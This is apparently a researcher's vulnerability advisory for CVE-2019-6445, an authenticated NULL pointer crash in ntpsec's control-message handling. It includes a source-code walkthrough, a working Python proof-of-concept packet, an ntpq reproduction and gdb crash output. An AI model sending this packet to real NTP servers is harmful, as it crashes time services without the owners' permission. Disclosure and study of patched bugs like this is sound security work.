_ _ / | ___| |_ ___ ___ ___ ___ _ / / | | _| . |_ -| -_| _| |_|_/ |_|_|_| | _|___|___|___| |_| 2019-01-15 Authenticated NULL pointer exception in ntpsec ============================================== CVE-2019-6445 This is the third of four bugs. For more visit: https://dumpco.re/blog/ntpsec-bugs An authenticated NULL pointer exception bug was found in ntpsec. Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2 Timeline: 2018-10-20 Bug discovered 2018-10-20 Bug reported 2019-01-13 Vendor released patch version 1.1.3 2019-01-16 MITRE allocated CVE-2019-6445 It was found possible for an authenticated attacker to cause the ntpd daemon to SIGSEGV due to a NULL pointer dereference in ntp_control.c. valuep is set to NULL through a call to ctl_getitem on line 2911, and later dereferenced on line 2930. See inline comments below: 2875 static void 2876 write_variables( 2877 struct recvbuf *rbufp, 2878 int restrict_mask 2879 ) 2880 { 2881 const struct ctl_var *v; 2882 int ext_var; 2883 char *valuep; 2884 long val; .. 2893 val = 0; .. 2911 while ((v = ctl_getitem(sys_var, &valuep)) != 0) { // <- valuep is set to NULL in ctl_getitem() 2912 ext_var = 0; .. 2929 errno = 0; 2930 if (!ext_var && (*valuep == '\0' // <- valuep is dereferenced 2931 || (val = strtol(valuep, NULL, 10), errno != 0))) { 2509 ctl_getitem( 2510 const struct ctl_var *var_list, 2511 char **data 2512 ) 2513 { .. 2521 static const struct ctl_var eol = { 0, EOV, NULL }; 2522 static char buf[128]; 2523 static u_long quiet_until; 2524 const struct ctl_var *v; 2525 char *cp; 2526 char *tp; .. 2538 2539 /* Scan the string in the packet until we hit comma or 2540 * EoB. Register position of first '=' on the fly. */ 2541 for (tp = NULL, cp = reqpt; cp != reqend; ++cp) { // <- tp set to NULL 2542 if (*cp == '=' && tp == NULL) // <- condition is never met due to missing value in request 2543 tp = cp; // (the request doesn't contain an equals sign) 2544 if (*cp == ',') 2545 break; 2546 } 2547 2548 /* Process payload, if any. */ 2549 *data = NULL; // <- *data set to NULL 2550 if (NULL != tp) { // <- condition is false, as tp is NULL .. 2566 /* copy data, NUL terminate, and set result data ptr */ 2567 memcpy(buf, plhead, plsize); 2568 buf[plsize] = '\0'; 2569 *data = buf; // <- this line is never executed, *data remains NULL 2570 } else { 2571 /* no payload, current end --> current name termination */ 2572 tp = cp; 2573 } .. 2615 if (EOV & v->flags) // <- (0x80 & 3) evaluates to true 2616 *data = NULL; // <-- *data set to NULL again 2617 else 2618 reqpt = cp + (cp != reqend); 2619 return v; Proof of concept exploit: #!/usr/bin/env python import sys import socket buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" + "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" + "\x56\xc8\x07\xd4") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(buf, ('127.0.0.1', 123)) Alternatively ntpq from ntp classic can be usedby performing an authenticated `writevar` request without a value: ntp-4.2.8p12/ntpq/ntpq 127.0.0.1 ntpq> writevar 0 leap <-- note the absense of a variable value Keyid: 1 MD5 Password: <-- enter the correct password, in this example "gurka" 127.0.0.1: timed out, nothing received ***Request timed out ntpq> $ cat ~/resources/ntp.conf restrict 127.0.0.1 keys /home/magnus/resources/keys trustedkey 1 controlkey 1 requestkey 1 $ cat ~/resources/keys 1 M gurka 2 M agurk $ sudo gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./build/main/ntpd/ntpd...done. (gdb) r Starting program: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 2018-10-20T20:48:48 ntpd[75861]: INIT: ntpd ntpsec-1.1.2 2018-10-20T17:59:05Z: Starting 2018-10-20T20:48:48 ntpd[75861]: INIT: Command line: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf 2018-10-20T20:48:48 ntpd[75861]: INIT: precision = 0.121 usec (-23) 2018-10-20T20:48:48 ntpd[75861]: INIT: successfully locked into RAM 2018-10-20T20:48:48 ntpd[75861]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf 2018-10-20T20:48:48 ntpd[75861]: CONFIG: requestkey is a no-op because ntpdc has been removed. 2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: reading /home/magnus/resources/keys 2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: added 2 keys 2018-10-20T20:48:48 ntpd[75861]: INIT: Using SO_TIMESTAMPNS 2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 0 v6wildcard [::]:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 2 lo 127.0.0.1:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 3 eth0 192.168.245.220:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 4 eth0 192.168.245.131:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 5 lo [::1]:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123 2018-10-20T20:48:48 ntpd[75861]: IO: Listening on routing socket on fd #23 for interface updates 2018-10-20T20:48:48 ntpd[75861]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory Program received signal SIGSEGV, Segmentation fault. 0x000055555557d7f6 in write_variables (rbufp=0x5555557b3bb0, restrict_mask=0) at ../../ntpd/ntp_control.c:2930 2930 if (!ext_var && (*valuep == '\0' (gdb) Proof of discovery: $ base64 bug3 ZXhwbG9pdDoKIyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBzeXMKaW1wb3J0IHNvY2tldAoK YnVmID0gKCJceDE2XHgwM1x4MDBceDAzXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDRc eDZjXHg2NVx4NjFceDcwIiArCiAgICAgICAiXHgwMFx4MDBceDAwXHgwMVx4NWNceGI3XHgzY1x4 ZGNceDlmXHg1Y1x4MWVceDZhXHhjNVx4OWJceGRmXHhmNSIgKwogICAgICAgIlx4NTZceGM4XHgw N1x4ZDQiKQoKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NL X0RHUkFNKQpzb2NrLnNlbmR0byhidWYsICgnMTI3LjAuMC4xJywgMTIzKSkKCm1hZ251c0BoNHhi MHg6fi9wcm9qZWN0cy9udHBzZWMvdW50b3VjaGVkL3VuZnVja2luZ3RvdWNoZWQvbnRwc2VjLTEu MS4yJCBjYXQgfi9yZXNvdXJjZXMvbnRwLmNvbmYgCiNzZXJ2ZXIgMTI3LjEyNy4xLjAgcHJlZmVy CiNmdWRnZSAgMTI3LjEyNy4xLjAgc3RyYXR1bSAxMAojZHJpZnRmaWxlIC92YXIvbGliL250cC9k cmlmdAojYnJvYWRjYXN0ZGVsYXkgMC4wMDgKCiNsb2dmaWxlIC90bXAvbnRwLmxvZwoKIyBHaXZl IGxvY2FsaG9zdCBmdWxsIGFjY2VzcyByaWdodHMKcmVzdHJpY3QgMTI3LjAuMC4xCgojIEdpdmVu IGxvY2FsIG1hY2hpbmUgYWNjZXNzIHRvIHF1ZXJ5CiNyZXN0cmljdCAxNzIuMTYuNTkuMTc5IG1h c2sgMjU1LjI1NS4yNTUuMjU1IG5vbW9kaWZ5IG5vdHJhcAojIGRpc2FibGUgYXV0aAojZW5hYmxl IGF1dGgKa2V5cyAvaG9tZS9tYWdudXMvcmVzb3VyY2VzL2tleXMKdHJ1c3RlZGtleSAxCmNvbnRy b2xrZXkgMQpyZXF1ZXN0a2V5IDEKbWFnbnVzQGg0eGIweDp+L3Byb2plY3RzL250cHNlYy91bnRv dWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIkIHZpIH4vcmVzb3VyY2VzL2tleXMg Cm1hZ251c0BoNHhiMHg6fi9wcm9qZWN0cy9udHBzZWMvdW50b3VjaGVkL3VuZnVja2luZ3RvdWNo ZWQvbnRwc2VjLTEuMS4yJCBjYXQgfi9yZXNvdXJjZXMva2V5cyAKMSBNIGd1cmthCjIgTSBhZ3Vy awptYWdudXNAaDR4YjB4On4vcHJvamVjdHMvbnRwc2VjL3VudG91Y2hlZC91bmZ1Y2tpbmd0b3Vj aGVkL250cHNlYy0xLjEuMiQgc3VkbyBnZGIgLS1hcmdzIC4vYnVpbGQvbWFpbi9udHBkL250cGQg LW4gLWMgfi9yZXNvdXJjZXMvbnRwLmNvbmYKR05VIGdkYiAoRGViaWFuIDcuNy4xK2Rmc2ctNSkg Ny43LjEKQ29weXJpZ2h0IChDKSAyMDE0IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgpM aWNlbnNlIEdQTHYzKzogR05VIEdQTCB2ZXJzaW9uIDMgb3IgbGF0ZXIgPGh0dHA6Ly9nbnUub3Jn L2xpY2Vuc2VzL2dwbC5odG1sPgpUaGlzIGlzIGZyZWUgc29mdHdhcmU6IHlvdSBhcmUgZnJlZSB0 byBjaGFuZ2UgYW5kIHJlZGlzdHJpYnV0ZSBpdC4KVGhlcmUgaXMgTk8gV0FSUkFOVFksIHRvIHRo ZSBleHRlbnQgcGVybWl0dGVkIGJ5IGxhdy4gIFR5cGUgInNob3cgY29weWluZyIKYW5kICJzaG93 IHdhcnJhbnR5IiBmb3IgZGV0YWlscy4KVGhpcyBHREIgd2FzIGNvbmZpZ3VyZWQgYXMgIng4Nl82 NC1saW51eC1nbnUiLgpUeXBlICJzaG93IGNvbmZpZ3VyYXRpb24iIGZvciBjb25maWd1cmF0aW9u IGRldGFpbHMuCkZvciBidWcgcmVwb3J0aW5nIGluc3RydWN0aW9ucywgcGxlYXNlIHNlZToKPGh0 dHA6Ly93d3cuZ251Lm9yZy9zb2Z0d2FyZS9nZGIvYnVncy8+LgpGaW5kIHRoZSBHREIgbWFudWFs IGFuZCBvdGhlciBkb2N1bWVudGF0aW9uIHJlc291cmNlcyBvbmxpbmUgYXQ6CjxodHRwOi8vd3d3 LmdudS5vcmcvc29mdHdhcmUvZ2RiL2RvY3VtZW50YXRpb24vPi4KRm9yIGhlbHAsIHR5cGUgImhl bHAiLgpUeXBlICJhcHJvcG9zIHdvcmQiIHRvIHNlYXJjaCBmb3IgY29tbWFuZHMgcmVsYXRlZCB0 byAid29yZCIuLi4KUmVhZGluZyBzeW1ib2xzIGZyb20gLi9idWlsZC9tYWluL250cGQvbnRwZC4u LmRvbmUuCihnZGIpIHIKU3RhcnRpbmcgcHJvZ3JhbTogL2hvbWUvbWFnbnVzL3Byb2plY3RzL250 cHNlYy91bnRvdWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIvYnVpbGQvbWFpbi9u dHBkL250cGQgLW4gLWMgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9udHAuY29uZgpbVGhyZWFkIGRl YnVnZ2luZyB1c2luZyBsaWJ0aHJlYWRfZGIgZW5hYmxlZF0KVXNpbmcgaG9zdCBsaWJ0aHJlYWRf ZGIgbGlicmFyeSAiL2xpYi94ODZfNjQtbGludXgtZ251L2xpYnRocmVhZF9kYi5zby4xIi4KMjAx OC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogSU5JVDogbnRwZCBudHBzZWMtMS4xLjIgMjAx OC0xMC0yMFQxNzo1OTowNVo6IFN0YXJ0aW5nCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2 MV06IElOSVQ6IENvbW1hbmQgbGluZTogL2hvbWUvbWFnbnVzL3Byb2plY3RzL250cHNlYy91bnRv dWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIvYnVpbGQvbWFpbi9udHBkL250cGQg LW4gLWMgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9udHAuY29uZgoyMDE4LTEwLTIwVDIwOjQ4OjQ4 IG50cGRbNzU4NjFdOiBJTklUOiBwcmVjaXNpb24gPSAwLjEyMSB1c2VjICgtMjMpCjIwMTgtMTAt MjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElOSVQ6IHN1Y2Nlc3NmdWxseSBsb2NrZWQgaW50byBS QU0KMjAxOC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogQ09ORklHOiByZWFkY29uZmlnOiBw YXJzaW5nIGZpbGU6IC9ob21lL21hZ251cy9yZXNvdXJjZXMvbnRwLmNvbmYKMjAxOC0xMC0yMFQy MDo0ODo0OCBudHBkWzc1ODYxXTogQ09ORklHOiByZXF1ZXN0a2V5IGlzIGEgbm8tb3AgYmVjYXVz ZSBudHBkYyBoYXMgYmVlbiByZW1vdmVkLgoyMDE4LTEwLTIwVDIwOjQ4OjQ4IG50cGRbNzU4NjFd OiBBVVRIOiBhdXRocmVhZGtleXM6IHJlYWRpbmcgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9rZXlz CjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IEFVVEg6IGF1dGhyZWFka2V5czogYWRk ZWQgMiBrZXlzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElOSVQ6IFVzaW5nIFNP X1RJTUVTVEFNUE5TCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBMaXN0ZW4g YW5kIGRyb3Agb24gMCB2NndpbGRjYXJkIFs6Ol06MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRw ZFs3NTg2MV06IElPOiBMaXN0ZW4gYW5kIGRyb3Agb24gMSB2NHdpbGRjYXJkIDAuMC4wLjA6MTIz CjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBMaXN0ZW4gbm9ybWFsbHkgb24g MiBsbyAxMjcuMC4wLjE6MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBM aXN0ZW4gbm9ybWFsbHkgb24gMyBldGgwIDE5Mi4xNjguMjQ1LjIyMDoxMjMKMjAxOC0xMC0yMFQy MDo0ODo0OCBudHBkWzc1ODYxXTogSU86IExpc3RlbiBub3JtYWxseSBvbiA0IGV0aDAgMTkyLjE2 OC4yNDUuMTMxOjEyMwoyMDE4LTEwLTIwVDIwOjQ4OjQ4IG50cGRbNzU4NjFdOiBJTzogTGlzdGVu IG5vcm1hbGx5IG9uIDUgbG8gWzo6MV06MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2 MV06IElPOiBMaXN0ZW4gbm9ybWFsbHkgb24gNiBldGgwIFtmZTgwOjo1MDo1NmZmOmZlMzg6ZDdi OCUyXToxMjMKMjAxOC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogSU86IExpc3RlbmluZyBv biByb3V0aW5nIHNvY2tldCBvbiBmZCAjMjMgZm9yIGludGVyZmFjZSB1cGRhdGVzCjIwMTgtMTAt MjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IHN0YXRpc3RpY3MgZGlyZWN0b3J5IC92YXIvTlRQLyBk b2VzIG5vdCBleGlzdCBvciBpcyB1bndyaXRlYWJsZSwgZXJyb3IgTm8gc3VjaCBmaWxlIG9yIGRp cmVjdG9yeQoKUHJvZ3JhbSByZWNlaXZlZCBzaWduYWwgU0lHU0VHViwgU2VnbWVudGF0aW9uIGZh dWx0LgoweDAwMDA1NTU1NTU1N2Q3ZjYgaW4gd3JpdGVfdmFyaWFibGVzIChyYnVmcD0weDU1NTU1 NTdiM2JiMCwgcmVzdHJpY3RfbWFzaz0wKSBhdCAuLi8uLi9udHBkL250cF9jb250cm9sLmM6Mjkz MAoyOTMwICAgICAgaWYgKCFleHRfdmFyICYmICgqdmFsdWVwID09ICdcMCcKKGdkYikgCgo= $ sha256sum bug3 905842a970b7f05cc2f3e35af70a2c6666af6c845d7ecea3264b3f574ac921fb bug3 https://twitter.com/magnusstubman/status/1053732547438538754 # References - ftp://ftp.ntpsec.org/pub/releases/ - https://gitlab.com/NTPsec/ntpsec/issues/509 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6445